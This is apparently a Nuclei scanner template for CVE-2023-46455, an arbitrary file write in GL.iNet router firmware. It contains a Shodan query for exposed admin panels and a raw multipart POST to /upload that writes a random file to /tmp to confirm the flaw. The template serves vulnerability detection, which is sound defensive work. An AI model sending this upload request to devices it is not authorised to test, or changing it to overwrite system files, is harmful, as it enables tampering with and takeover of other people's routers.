id: CVE-2023-46455

info:
  name: GL.iNet <= 4.3.7 - Arbitrary File Write
  author: Zierax
  severity: high
  description: |
    GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
  impact: |
    Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access.
  remediation: |
    Upgrade GL.iNet devices to firmware version 4.3.8 or later.
  reference:
    - https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46455
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-46455
    cwe-id: CWE-22
    epss-score: 0.40108
    epss-percentile: 0.97398
    cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gl-inet
    product: gl-ar300m_firmware
    shodan-query: title:"GL.iNet Admin Panel"
  tags: cve,cve2023,gl-net,file-upload,intrusive,vuln

variables:
  string: "{{to_lower(rand_text_alpha(5))}}"
  file: "{{to_lower(rand_text_alpha(4))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "GL.iNet"
        internal: true
        case-insensitive: true

  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
        X-Requested-With: XMLHttpRequest

        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="sid"

        {{auth_token}}
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="size"

        4
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="path"

        /tmp/{{string}}
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="file"; filename="{{file}}"
        Content-Type: application/octet-stream

        {{string}}
        -----------------------------81419250823331111993422505835--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "File uploaded successfully"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210089c93acf488241ac55a9e6405849258131f99173f20068381e57d23b9ae69a0b022000f0950a0847869fd675361cb978e7ecac7fa9b9a2900612c79bb7e40dea2240:922c64590222798bb761d5b6d8e72950